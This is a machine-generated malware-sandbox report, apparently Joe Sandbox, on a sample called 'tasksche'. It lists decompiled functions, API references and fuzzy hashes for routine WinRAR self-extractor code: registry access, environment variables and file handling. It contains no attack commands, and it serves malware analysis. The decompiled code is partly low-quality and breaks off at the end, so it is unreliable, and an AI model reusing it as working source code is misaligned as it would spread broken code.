Part of subcall function 0041918B: DestroyWindow.USER32(?,76D7BB20,0040D2D3,?,?,?,?,?,0040D3E6,00000001,?,?,0040E2C6,0042A848,0044CF30,0044CF30), ref: 00419196

Strings

\, xrefs: 0040D315

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: MessageSend$Window$DestroyItemShow
String ID: \
API String ID: 2996232536-2967466578
Opcode ID: 099f520084dbf5fca48704fc3201186082e925487be8ae0bd6b4d09b2fa327de
Instruction ID: 06257c9e161764c7d53c24ae9c51dbab41789d270eb5449b748dea2bf3ac4db1
Opcode Fuzzy Hash: 099f520084dbf5fca48704fc3201186082e925487be8ae0bd6b4d09b2fa327de
Instruction Fuzzy Hash: C431B170E4025CBBEB219BA0CC4AFAEBFB9EB41714F10412AF500BA1E0D7B51D55DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041A060 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 30
librarycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E0041A060(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				void* _t12;
				void* _t15;
				struct HINSTANCE__** _t16;

				_t16 = __ecx;
				__ecx[1] = __ecx[1] & 0x00000000;
				 *__ecx =  *__ecx & 0x00000000;
				_t7 = LoadLibraryW(L"riched32.dll"); // executed
				 *_t16 = _t7;
				_t8 = LoadLibraryW(L"riched20.dll");
				_t16[1] = _t8;
				__imp__OleInitialize(0, _t12, _t15, __ecx, __ecx);
				_v12 = 8;
				_v8 = 0x7ff;
				__imp__InitCommonControlsEx( &_v12);
				__imp__SHGetMalloc(0x44f800); // executed
				return _t16;
			}

0x0041a06d
0x0041a06f
0x0041a073
0x0041a07b
0x0041a082
0x0041a084
0x0041a088
0x0041a08b
0x0041a095
0x0041a09c
0x0041a0a3
0x0041a0ae
0x0041a0b9

APIs

LoadLibraryW.KERNELBASE(riched32.dll,00000000,00439820,?,?,?,00410051), ref: 0041A07B
LoadLibraryW.KERNEL32(riched20.dll,?,00410051), ref: 0041A084
OleInitialize.OLE32(00000000), ref: 0041A08B
InitCommonControlsEx.COMCTL32(?), ref: 0041A0A3
SHGetMalloc.SHELL32(0044F800), ref: 0041A0AE

Strings

riched20.dll, xrefs: 0041A07D
riched32.dll, xrefs: 0041A076

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: LibraryLoad$CommonControlsInitInitializeMalloc
String ID: riched20.dll$riched32.dll
API String ID: 448729520-3294723617
Opcode ID: 8624e4f240296107261ce0a47b5d27c571c626025523bcd3f0aeccd25934cca6
Instruction ID: d62a9b991739124620cbbd73e07a01740528edc951963754c9102d88a2026b42
Opcode Fuzzy Hash: 8624e4f240296107261ce0a47b5d27c571c626025523bcd3f0aeccd25934cca6
Instruction Fuzzy Hash: EFF08271B00318AFD7209FA5DC0EB9ABBE8EF40766F50442DE54593250DBB8A4458BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040DA8C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040DA8C(void* __esi, char* _a4) {
				void* _v8;
				int _v12;
				short _v4108;
				long _t12;
				long _t20;
				intOrPtr _t27;

				_t12 = E0041AAF0(0x1008);
				if( *0x441878 != 0) {
					_t27 =  *0x438818; // 0x43
					if(_t27 != 0) {
						E0040DA4F( &_v4108, "C:\Windows");
						_t12 = RegCreateKeyExW(0x80000001, L"Software\\WinRAR SFX", 0, 0, 0, 0x20006, 0,  &_v8,  &_v12); // executed
						if(_t12 == 0) {
							RegSetValueExW(_v8,  &_v4108, 0, 1, _a4, E0041A7AF(_a4) + _t16 + 2); // executed
							_t20 = RegCloseKey(_v8); // executed
							return _t20;
						}
					}
				}
				return _t12;
			}

0x0040da94
0x0040daa2
0x0040daa4
0x0040daab
0x0040dab9
0x0040dad9
0x0040dae2
0x0040db02
0x0040db0b
0x00000000
0x0040db0b
0x0040dae2
0x0040daab
0x0040db13

APIs

Part of subcall function 0040DA4F: _wcscpy.LIBCMT ref: 0040DA54

RegCreateKeyExW.KERNELBASE(80000001,Software\WinRAR SFX,00000000,00000000,00000000,00020006,00000000,?,?,C:\Windows), ref: 0040DAD9
_wcslen.LIBCMT ref: 0040DAE7
RegSetValueExW.KERNELBASE(?,?,00000000,00000001,?,?), ref: 0040DB02
RegCloseKey.KERNELBASE(?), ref: 0040DB0B

Strings

Software\WinRAR SFX, xrefs: 0040DACF
C:\Windows, xrefs: 0040DAA4, 0040DAAE

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CloseCreateValue_wcscpy_wcslen
String ID: C:\Windows$Software\WinRAR SFX
API String ID: 3170333323-1036045337
Opcode ID: 253b5885f96daf7b7a8b4f1510ea2afe6e1404dcbc281fb2c19877bebd1cbb3e
Instruction ID: c04f9cf324d6fb33717342d95d48926d42d97767c878bcc2ae640bd506731f16
Opcode Fuzzy Hash: 253b5885f96daf7b7a8b4f1510ea2afe6e1404dcbc281fb2c19877bebd1cbb3e
Instruction Fuzzy Hash: 7F018476A0020CBFEB21AF90DC86EDA777CEB08388F504076B60562061DA745ED99669

Uniqueness

Uniqueness Score: -1.00%

Function 0041A506 Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E0041A506(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x42d658);
				_t8 = E0041FA9C(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E0041FAE1(_t8);
				}
				if( *0x451420 != 3) {
					_push(_t23);
					L7:
					_push(0);
					_t8 = RtlFreeHeap( *0x44f848); // executed
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E0041EDAE(_t31);
						 *_t10 = E0041ED6C(GetLastError());
					}
					goto L9;
				}
				E0041EFA3(__ebx, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E0041EFD6(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E0041F006();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E0041A55C();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

0x0041a506
0x0041a508
0x0041a50d
0x0041a512
0x0041a517
0x0041a58e
0x0041a593
0x0041a593
0x0041a520
0x0041a565
0x0041a566
0x0041a566
0x0041a56e
0x0041a574
0x0041a576
0x0041a578
0x0041a58b
0x0041a58d
0x00000000
0x0041a576
0x0041a524
0x0041a52a
0x0041a52f
0x0041a535
0x0041a53a
0x0041a53c
0x0041a53d
0x0041a53e
0x0041a544
0x0041a545
0x0041a54c
0x0041a555
0x00000000
0x0041a557
0x0041a557
0x00000000
0x0041a557

APIs

__lock.LIBCMT ref: 0041A524

Part of subcall function 0041EFA3: __mtinitlocknum.LIBCMT ref: 0041EFB9
Part of subcall function 0041EFA3: __amsg_exit.LIBCMT ref: 0041EFC5
Part of subcall function 0041EFA3: EnterCriticalSection.KERNEL32(0041A9AB,0041A9AB,?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001), ref: 0041EFCD

___sbh_find_block.LIBCMT ref: 0041A52F
___sbh_free_block.LIBCMT ref: 0041A53E
RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 1eba3eb2bfd23f5b1e043426ba5b029f38dd9947a11c8dba489f2cac3b6c6ae4
Instruction ID: 0c17081243acc93c5e04f74f5850e91c5e9c62578e05a8caa74c22d26ff5c9bd
Opcode Fuzzy Hash: 1eba3eb2bfd23f5b1e043426ba5b029f38dd9947a11c8dba489f2cac3b6c6ae4
Instruction Fuzzy Hash: 1D01847194A215BBDB306BB29C067DE3B65AF00798F10012BFC0496291DB3C86D19A5E

Uniqueness

Uniqueness Score: -1.00%

Function 00411119 Relevance: 7.5, APIs: 5, Instructions: 36
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00411119(void* __ecx) {
				long* _t16;
				void** _t19;
				void* _t21;

				_t17 = __ecx;
				_t21 = __ecx;
				E0041102B(__ecx);
				_t16 = 0;
				 *((char*)(__ecx + 0x194)) = 1;
				ReleaseSemaphore( *(__ecx + 0x198), 0x20, 0);
				if( *((intOrPtr*)(_t21 + 0x84)) > 0) {
					_t19 = _t21 + 4;
					do {
						E00410EA0(_t17,  *_t19);
						FindCloseChangeNotification( *_t19); // executed
						_t16 = _t16 + 1;
						_t19 =  &(_t19[1]);
					} while (_t16 <  *((intOrPtr*)(_t21 + 0x84)));
				}
				DeleteCriticalSection(_t21 + 0x1a0);
				FindCloseChangeNotification( *(_t21 + 0x198)); // executed
				return CloseHandle( *(_t21 + 0x19c));
			}

0x00411119
0x0041111c
0x0041111e
0x00411123
0x0041112e
0x00411135
0x00411147
0x0041114a
0x0041114d
0x0041114f
0x00411156
0x00411158
0x00411159
0x0041115c
0x00411164
0x0041116c
0x00411178
0x00411185

APIs

Part of subcall function 0041102B: ResetEvent.KERNEL32(?,00000200,?,?,00405016), ref: 00411051
Part of subcall function 0041102B: ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 00411061

ReleaseSemaphore.KERNEL32(?,00000020,00000000,?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411135
FindCloseChangeNotification.KERNELBASE(00000003,00000003,?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411156
DeleteCriticalSection.KERNEL32(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 0041116C
FindCloseChangeNotification.KERNELBASE(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411178
CloseHandle.KERNEL32(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411180

Part of subcall function 00410EA0: WaitForSingleObject.KERNEL32(?,000000FF,00410FD9,?,?,00411197,?,?,?,?,?,004111E6), ref: 00410EA6
Part of subcall function 00410EA0: GetLastError.KERNEL32(?,?,?,?,?,004111E6), ref: 00410EB2

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Close$ChangeFindNotificationReleaseSemaphore$CriticalDeleteErrorEventHandleLastObjectResetSectionSingleWait
String ID:
API String ID: 3803654862-0
Opcode ID: 29ee5acdc12332976cb057a69276285ab821669b88e8e9e7981cd7b54762f760
Instruction ID: 628da898c48b8095e2505876ae832dd6733ab043d372e65b09dbeb3e2adc3a3f
Opcode Fuzzy Hash: 29ee5acdc12332976cb057a69276285ab821669b88e8e9e7981cd7b54762f760
Instruction Fuzzy Hash: F9F06275101704AFD7206B70DC45BD7BBA5EB0A354F00042AF7AA41120CB7768A19B29

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB16 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040DB16(void* __esi, intOrPtr _a4, intOrPtr _a8) {
				int _v8;
				void* _v12;
				int _v16;
				char _v4112;
				short _v8208;
				long _t22;
				signed int _t31;
				void* _t38;

				_t22 = E0041AAF0(0x200c);
				if( *0x441878 != 0) {
					E0040DA4F( &_v8208, _a4);
					_t22 = RegOpenKeyExW(0x80000001, L"Software\\WinRAR SFX", 0, 1,  &_v12); // executed
					if(_t22 == 0) {
						_v8 = 0x1000;
						if(RegQueryValueExW(_v12,  &_v8208, 0,  &_v16,  &_v4112,  &_v8) == 0) {
							_v8 = _v8 >> 1;
							_t31 = 0x7ff;
							if(_v8 < 0x7ff) {
								_t31 = _v8;
							}
							 *((short*)(_t38 + _t31 * 2 - 0x100c)) = 0;
							E00410B9C(_a4,  &_v4112, _a8);
						}
						return RegCloseKey(_v12);
					}
				}
				return _t22;
			}

0x0040db1e
0x0040db2a
0x0040db3a
0x0040db51
0x0040db5a
0x0040db77
0x0040db86
0x0040db88
0x0040db8b
0x0040db93
0x0040db95
0x0040db95
0x0040db9d
0x0040dbaf
0x0040dbaf
0x00000000
0x0040dbb7
0x0040db5a
0x0040dbbe

APIs

Part of subcall function 0040DA4F: _wcscpy.LIBCMT ref: 0040DA54

RegOpenKeyExW.KERNELBASE(80000001,Software\WinRAR SFX,00000000,00000001,?,?), ref: 0040DB51
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?), ref: 0040DB7E
RegCloseKey.ADVAPI32(?), ref: 0040DBB7

Strings

Software\WinRAR SFX, xrefs: 0040DB47

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CloseOpenQueryValue_wcscpy
String ID: Software\WinRAR SFX
API String ID: 2005349754-754673328
Opcode ID: 5a2b69c89800e9bdd399ce0e9e4a259883a1022fe18fb91a4a4725133ef4c013
Instruction ID: 4c76dbbd45d9bc8f01a1638326186229006e98cd85c276784524804615dea21e
Opcode Fuzzy Hash: 5a2b69c89800e9bdd399ce0e9e4a259883a1022fe18fb91a4a4725133ef4c013
Instruction Fuzzy Hash: 29110635A0020CEBEF219F90DD45FDE7BB8EF04345F5040B6B905A2191D7B8AA94DB69

Uniqueness

Uniqueness Score: -1.00%

Function 004050E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(?), ref: 004050F5
SHBrowseForFolderW.SHELL32(?), ref: 00405130

Strings

A, xrefs: 00405129

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: BrowseFolderMalloc
String ID: A
API String ID: 3812826013-3554254475
Opcode ID: 38b49180d38aa256d497848d66ef1996a2da1d611468f43139da5b44fce9136b
Instruction ID: 7c691baa3b27f7502734ebd35b11d26621297010b335108cc4fc530f71bfb90e
Opcode Fuzzy Hash: 38b49180d38aa256d497848d66ef1996a2da1d611468f43139da5b44fce9136b
Instruction Fuzzy Hash: F0010572900619EBDB11CFA4D909BEF7BF8EF49311F204466E805EB240D779DA058FA5

Uniqueness

Uniqueness Score: -1.00%

Function 00419CB2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00419CB2(long _a4) {
				short _v164;
				long _t5;
				long _t6;
				long _t8;
				WCHAR* _t10;

				_t8 = _a4;
				_t5 = GetClassNameW(_t8,  &_v164, 0x50);
				if(_t5 != 0) {
					_t10 = L"EDIT";
					_t5 = E00411E60( &_v164, _t10);
					if(_t5 != 0) {
						_t5 = FindWindowExW(_t8, 0, _t10, 0); // executed
						_t8 = _t5;
					}
				}
				if(_t8 != 0) {
					_t6 = SHAutoComplete(_t8, 0x10); // executed
					return _t6;
				}
				return _t5;
			}

0x00419cbc
0x00419cc9
0x00419cd1
0x00419cd4
0x00419ce1
0x00419ce8
0x00419cf0
0x00419cf6
0x00419cf6
0x00419cf8
0x00419cfb
0x00419d00
0x00000000
0x00419d00
0x00419d08

APIs

GetClassNameW.USER32 ref: 00419CC9
SHAutoComplete.SHLWAPI(?,00000010), ref: 00419D00

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00409CA8,?,?,?,00409DC2,?,-00000002,?,00000000,?), ref: 00411E76

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00419CF0

Strings

EDIT, xrefs: 00419CD4, 00419CD9, 00419CEC

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: b027ed5b97d113a91e8e700dc85ec23dd11054ff1df16afbaa6f3d453c1c9159
Instruction ID: c03662b206b47bf0f9187f3c1687b62eae72e09aaad69f108c393d7fbd584eff
Opcode Fuzzy Hash: b027ed5b97d113a91e8e700dc85ec23dd11054ff1df16afbaa6f3d453c1c9159
Instruction Fuzzy Hash: 3CF0E232300219BBDB305A15AD05FEB36BC9F86B40F840066FE01E2280EB68D84285BA

Uniqueness

Uniqueness Score: -1.00%

Function 0040D5F7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E0040D5F7(void* __eflags, WCHAR* _a4) {
				char _v2052;
				WCHAR* _t6;
				int _t9;
				WCHAR* _t10;
				void* _t13;

				_t13 = __eflags;
				SetEnvironmentVariableW(L"sfxcmd", _a4);
				_t6 = E00410C58(_t13, _a4,  &_v2052, 0x400);
				_t10 = _t6;
				if(_t10 != 0) {
					while(E00410B7F( *_t10 & 0x0000ffff) != 0) {
						_t10 =  &(_t10[1]);
						__eflags = _t10;
					}
					_t9 = SetEnvironmentVariableW(L"sfxpar", _t10); // executed
					return _t9;
				}
				return _t6;
			}

0x0040d5f7
0x0040d610
0x0040d621
0x0040d626
0x0040d62a
0x0040d630
0x0040d62f
0x0040d62f
0x0040d62f
0x0040d643
0x00000000
0x0040d643
0x0040d648

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0040D610
SetEnvironmentVariableW.KERNELBASE(sfxpar,00000002,00000000,00000000,?,?,00000400), ref: 0040D643

Strings

sfxpar, xrefs: 0040D63E
sfxcmd, xrefs: 0040D60B

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: bac05ca2e549dd4e556f3ae34e89e1e7b45a97b9d2e2d38533528fd9b5159ab4
Instruction ID: 209d7830a902f923c059ddcb8ccd8c76eadbb62e41e0a08ffeb6939b57d6bf06
Opcode Fuzzy Hash: bac05ca2e549dd4e556f3ae34e89e1e7b45a97b9d2e2d38533528fd9b5159ab4
Instruction Fuzzy Hash: 29E0EC3660011437CA102A969C01EBB7A6CDBC1744F1000337E48A2080E979D89E8BED

Uniqueness

Uniqueness Score: -1.00%

Function 004087C3 Relevance: 6.1, APIs: 4, Instructions: 104
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E004087C3(void* __ecx, long _a4, long _a8, short _a12, WCHAR* _a4112, unsigned int _a4116) {
				long _v0;
				unsigned int _t34;
				long _t37;
				void* _t38;
				long _t46;
				signed int _t47;
				signed int _t48;
				intOrPtr _t50;
				long _t54;
				intOrPtr _t55;
				long _t62;
				void* _t63;
				void* _t66;

				E0041AAF0(0x100c);
				_t34 = _a4116;
				_t63 = __ecx;
				 *((intOrPtr*)(__ecx + 0x1020)) = 0;
				if( *((char*)(__ecx + 0x1c)) != 0 || (_t34 & 0x00000004) != 0) {
					_t50 = 1;
				} else {
					_t50 = 0;
				}
				asm("sbb edi, edi");
				_t62 = ( ~(_t34 >> 0x00000001 & 1) & 0xc0000000) + 0x80000000;
				if((_t34 & 0x00000001) != 0) {
					_t62 = _t62 | 0x40000000;
				}
				_t37 =  !(_t34 >> 3) & 0x00000001;
				_v0 = _t37;
				if(_t50 != 0) {
					_t37 = _t37 | 0x00000002;
					_v0 = _t37;
				}
				_t47 = CreateFileW;
				_t54 = (0 |  *((intOrPtr*)(_t63 + 0x15)) != 0x00000000) - 0x00000001 & 0x08000000;
				_a8 = _t54;
				_t38 = CreateFileW(_a4112, _t62, _t37, 0, 3, _t54, 0); // executed
				_t66 = _t38;
				if(_t66 != 0xffffffff) {
					L15:
					 *(_t63 + 0xc) =  *(_t63 + 0xc) & 0x00000000;
					_t48 = _t47 & 0xffffff00 | _t66 != 0xffffffff;
					 *((char*)(_t63 + 0x12)) = 0;
					 *((char*)(_t63 + 0x10)) = 0;
					if(_t48 != 0) {
						 *(_t63 + 4) = _t66;
						E00410B9C(_t63 + 0x1e, _a4112, 0x800);
					}
					return _t48;
				} else {
					_a4 = GetLastError();
					if(E0040A3DC(_a4112,  &_a12, 0x800) == 0) {
						L13:
						if(_a4 == 2) {
							 *((intOrPtr*)(_t63 + 0x1020)) = 1;
						}
						goto L15;
					}
					_t66 = CreateFileW( &_a12, _t62, _v0, 0, 3, _a8, 0);
					_t46 = GetLastError();
					_t55 = 2;
					if(_t46 == _t55) {
						_a4 = _t55;
					}
					if(_t66 != 0xffffffff) {
						goto L15;
					} else {
						goto L13;
					}
				}
			}

0x004087c8
0x004087cd
0x004087d7
0x004087e0
0x004087e6
0x004087f0
0x004087ec
0x004087ec
0x004087ec
0x004087fe
0x00408806
0x0040880e
0x00408810
0x00408810
0x0040881b
0x0040881e
0x00408824
0x00408826
0x00408829
0x00408829
0x00408832
0x0040883d
0x00408850
0x00408854
0x00408856
0x0040885b
0x004088c0
0x004088c0
0x004088c7
0x004088ca
0x004088ce
0x004088d4
0x004088e2
0x004088e9
0x004088e9
0x004088fa
0x0040885d
0x00408863
0x0040887f
0x004088af
0x004088b4
0x004088b6
0x004088b6
0x00000000
0x004088b4
0x00408897
0x00408899
0x004088a1
0x004088a4
0x004088a6
0x004088a6
0x004088ad
0x00000000
0x00000000
0x00000000
0x00000000
0x004088ad

APIs

CreateFileW.KERNELBASE(?,-7FFFF7FE,?,00000000,00000003,-00000001,00000000,00000802,00000000,?,00000000,00406E59,00000000,00000005,?,00000011), ref: 00408854
GetLastError.KERNEL32(?,00000000,00406E59,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000,00000802), ref: 0040885D
CreateFileW.KERNEL32(?,-7FFFF7FE,?,00000000,00000003,00000000,00000000,?,?,00000800,?,00000000,00406E59,00000000,00000005,?), ref: 00408895
GetLastError.KERNEL32(?,00000000,00406E59,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000,00000802), ref: 00408899

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
